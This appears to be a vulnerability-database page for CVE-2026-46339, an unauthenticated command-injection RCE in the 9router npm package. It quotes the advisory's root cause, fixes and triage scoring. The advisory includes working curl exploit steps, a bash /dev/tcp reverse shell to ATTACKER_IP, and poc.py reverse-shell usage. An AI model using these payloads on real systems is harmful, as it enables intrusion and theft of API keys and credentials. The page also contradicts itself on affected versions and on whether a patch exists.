Skip to main content

9router CVE-2026-46339

CRITICAL
OS Command Injection (CWE-78)
2026-05-19 https://github.com/decolua/9router GHSA-fhh6-4qxv-rpqj
10.0
CVSS 3.1 · Vendor: https://github.com/decolua/9router
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover exposed 9router on port 20128
  2. Delivery
    POST crafted customPlugins JSON to /api/cli-tools/cowork-settings
  3. Exploit
    Malicious command stored in globalThis plugin map
  4. Execution
    GET /api/mcp/<name>/sse triggers spawn()
  5. Persist
    Reverse shell executes as 9router user
  6. Impact
    Exfiltrate API keys and pivot via docker group to host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of 9router versions 0.4.30 through 0.4.36, requiring only network reachability to the HTTP service (Docker default 0.0.0.0:20128). The two chained endpoints (/api/cli-tools/cowork-settings POST and /api/mcp/[plugin]/sse GET) are excluded from the Next.js middleware matcher, so no credentials, cookies, tokens, or user interaction are required. Limiting factors are minimal: the attacker must be able to reach the listening port (instances bound to 127.0.0.1 or behind an authenticating reverse proxy are not directly exploitable), and the impact is bounded by the privileges of the OS user running the 9router process - though the advisory notes that user is typically a member of the docker group, enabling container escape to host root.

Impact

All available signals align on critical priority. The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H confirms a network-reachable, low-complexity, unauthenticated exploit with scope change and full CIA impact (score 10.0). Publicly available exploit code exists in the GHSA advisory itself (curl one-liners and a poc.py script), and the advisory documents a sub-2-second time-to-exploit. EPSS score and CISA KEV status were not provided in the input - given the package's npm distribution and likely small deployment footprint, broad opportunistic exploitation may lag despite the trivial exploit, but any internet-exposed instance on port 20128 should be treated as compromised until patched. No conflicting signals were observed; the Docker tag plus confirmed docker-group membership in the PoC indicates likely container-escape pivots from a successful exploit.

Exploit ScenarioDerived

An attacker on the same network as a 9router instance (or any host with port 20128 reachable) sends a POST to /api/cli-tools/cowork-settings containing a JSON body whose customPlugins entry sets command='/bin/bash' and args=['-c','bash -i >& /dev/tcp/attacker/4444 0>&1']. The attacker then issues a GET to /api/mcp/<plugin-name>/sse, which causes the server to spawn() the registered command, yielding a reverse shell as the 9router process user. A working PoC (poc.py with file-write and reverse-shell modes) is included in the published advisory, so weaponization requires no additional development.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent attackers to execute arbitrary OS commands by chaining two unprotected API endpoints. The Next.js authentication middleware in src/proxy.js uses a narrow route allowlist that excludes /api/cli-tools/* and /api/mcp/*, letting an attacker register an arbitrary command via POST /api/cli-tools/cowork-settings and then trigger spawn() via GET /api/mcp/[plugin]/sse. Publicly available exploit code exists (PoC published with the GHSA advisory), with CVSS 10.0 reflecting maximum severity across confidentiality, integrity, and availability.

RemediationAI

Vendor-released patch: upgrade to 9router 0.4.37 or later, which addresses the issue per the GHSA-fhh6-4qxv-rpqj advisory (https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj). For operators unable to upgrade immediately, the advisory documents three layered code-level mitigations: extend the src/proxy.js middleware matcher to include '/api/cli-tools/:path*' and '/api/mcp/:path*' so the dashboardGuard runs on those routes, add an ALLOWED_MCP_COMMANDS allowlist (npx, node, uvx, python3, python) inside registerCustomPlugin in src/lib/mcp/stdioSseBridge.js, and sanitize the customPlugins payload at the API boundary in src/app/api/cli-tools/cowork-settings/route.js. As a network-level compensating control, restrict access to TCP/20128 to localhost or a trusted management VLAN (e.g., bind to 127.0.0.1 instead of 0.0.0.0, or front the service with an authenticating reverse proxy) - note this breaks any legitimate remote dashboard or MCP-bridge use. Hosts that were exposed before patching should be treated as compromised and have stored secrets rotated, particularly ~/.claude/settings.json (ANTHROPIC_AUTH_TOKEN), ~/.aws/credentials, and any provider API keys in $DATA_DIR/db.sqlite.

Affected Packages

npm 9router fix: 0.4.37

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

9router is a Next.js-based local routing/proxy tool distributed via npm that includes an MCP (Model Context Protocol) stdio-to-SSE bridge added in v0.4.30. Authentication is enforced via a Next.js Edge middleware (src/proxy.js) whose 'matcher' config explicitly enumerates protected routes - a pattern that fails-open by default for any path not listed. The MCP bridge stores plugin definitions in a globalThis Map and later invokes Node's child_process.spawn() with attacker-supplied command and args; although shell: false is used, controlling both the binary path and argv is functionally equivalent to OS command injection, the root-cause class identified by CWE-78. CPE data identifies pkg:npm/9router as the affected component.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/decolua/9router) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/decolua/9router) · only source for this CVE.

CVSS VectorVendor: https://github.com/decolua/9router

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process - with zero prerequisites and no credentials required.

The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.

---

Root Cause

1. Middleware Allowlist Is Too Narrow

File: src/proxy.js

js
export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
  ],
};

Next.js middleware only runs on routes matching this list. Routes NOT listed - including /api/cli-tools/* and /api/mcp/* - bypass the dashboardGuard auth check entirely.

2. Unguarded Endpoint Accepts Arbitrary Command Registration

File: src/app/api/cli-tools/cowork-settings/route.js, lines 292-319

js
export async function POST(request) {
  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
  // ...
  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];

  if (customPluginsArray.length > 0) {
    const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
    const stdioCustoms = customPluginsArray
      .filter((p) => p.command)
      .map((p) => ({
        name: p.name,
        command: p.command,   // ← attacker-controlled, no validation
        args: p.args || [],   // ← attacker-controlled, no validation
      }));
    for (const p of stdioCustoms) registerCustomPlugin(p);   // stores in globalThis
  }
}

The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins - a process-global Map that survives Hot Module Replacement.

File: src/lib/mcp/stdioSseBridge.js, lines 114-116

js
function registerCustomPlugin(def) {
  getCustomStore().set(def.name, def);   // no validation of command/args
}

3. Unguarded SSE Endpoint Triggers spawn() with Stored Command

File: src/app/api/mcp/[plugin]/sse/route.js, lines 6-25

js
export async function GET(request, { params }) {
  const { plugin } = await params;
  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });

  const stream = new ReadableStream({
    start(controller) {
      sid = registerSession(plugin, send);   // ← spawn() called here
    },
  });
  return new Response(stream, { ... });
}

File: src/lib/mcp/stdioSseBridge.js, line 138

js
const proc = spawn(plugin.command, plugin.args, {
  stdio: ["pipe", "pipe", "pipe"],
  env: process.env,   // inherits full environment
});

spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.

---

Attack Chain

Attacker (no credentials)
    │
    │  Step 1 - Register malicious plugin (POST, no auth)
    ▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json

{
  "baseUrl": "x", "apiKey": "x", "models": ["x"],
  "customPlugins": [{
    "name":    "rev",
    "command": "/bin/bash",
    "args":    ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
  }]
}

    ← {"success":true, ...}

    │  Step 2 - Trigger spawn() via SSE endpoint (GET, no auth)
    ▼
GET /api/mcp/rev/sse

    ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
    ← Reverse shell connects to attacker

Time to exploit from first request: < 2 seconds. Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).

---

Proof of Concept

PoC 1 - File Write (no listener required)

bash
# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
  -H 'Content-Type: application/json' \
  -d '{
    "baseUrl":"x","apiKey":"x","models":["x"],
    "customPlugins":[{
      "name":"rce1",
      "command":"/bin/sh",
      "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
    }]
  }'
# → {"success":true,...}
# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
# Verify
cat /tmp/pwned.txt

Observed output (on local test instance):

uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux

PoC 2 - Automated PoC script

bash
# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444

The script (poc.py) is included in this advisory.

---

Impact

CategoryDetail
ConfidentialityFull read access to server filesystem - API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials
IntegrityArbitrary file write, persistence via cron/systemd
AvailabilityProcess termination, resource exhaustion
Lateral movementdocker group membership (confirmed in test) allows full container escape → host root
ScopeRemote, unauthenticated, network-accessible

High-value exfiltration targets on a typical 9router host

  • ~/.claude/settings.json - ANTHROPIC_AUTH_TOKEN
  • ~/.aws/credentials, ~/.aws/sso/cache/*.json - AWS keys
  • $DATA_DIR/db.sqlite - 9router local database (all stored API keys, provider configs)
  • TLS private keys managed by the MITM proxy (src/mitm/)

---

Affected Versions

VersionAffectedNotes
< v0.4.30Nocowork-settings and MCP SSE bridge did not exist
v0.4.30YesIntroduced in commit 8f4d29c (2026-05-11)
v0.4.31Yes
v0.4.32Yes
v0.4.33YesLatest at time of disclosure

The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.

---

Remediation

Fix 1 - Extend middleware matcher (minimal fix)

File: src/proxy.js

js
export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    // ADD these:
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};

Fix 2 - Validate command in registerCustomPlugin (defense-in-depth)

File: src/lib/mcp/stdioSseBridge.js

js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);

function registerCustomPlugin(def) {
  const bin = def.command?.split("/").pop();   // basename only
  if (!ALLOWED_MCP_COMMANDS.has(bin)) {
    throw new Error(`Blocked: command '${def.command}' not in allowlist`);
  }
  getCustomStore().set(def.name, def);
}

Fix 3 - Sanitize customPlugins at the API boundary

File: src/app/api/cli-tools/cowork-settings/route.js, line 312

js
const stdioCustoms = customPluginsArray
  .filter((p) => p.command && typeof p.command === "string")
  .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command)))   // allowlist check
  .map((p) => ({
    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""),           // sanitize name
    command: p.command,
    args: (p.args || []).map(String),
  }));

All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.

---

Executive ViewAI

Why It Matters

The 9router npm package versions 0.4.30-0.4.36 contain a critical unauthenticated remote code execution vulnerability (CVSS 10.0) with publicly available exploit code; network-adjacent attackers can execute arbitrary commands without authentication. Any organization running these versions faces immediate risk of complete system compromise with no vendor patch available. This requires urgent remediation through application updates, network controls, or alternative packages.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: Restrict network access to affected systems using network segmentation, firewall rules, or WAF; disable /api/cli-tools/* and /api/mcp/* endpoints if not operationally required; strengthen application-level authentication controls; monitor and alert on POST requests to /api/cli-tools/cowork-settings and GET requests to /api/mcp/[plugin]/sse.

Threat Intelligence Overview

EPSS Score
0.1%
Top 70% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:npm/9router

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy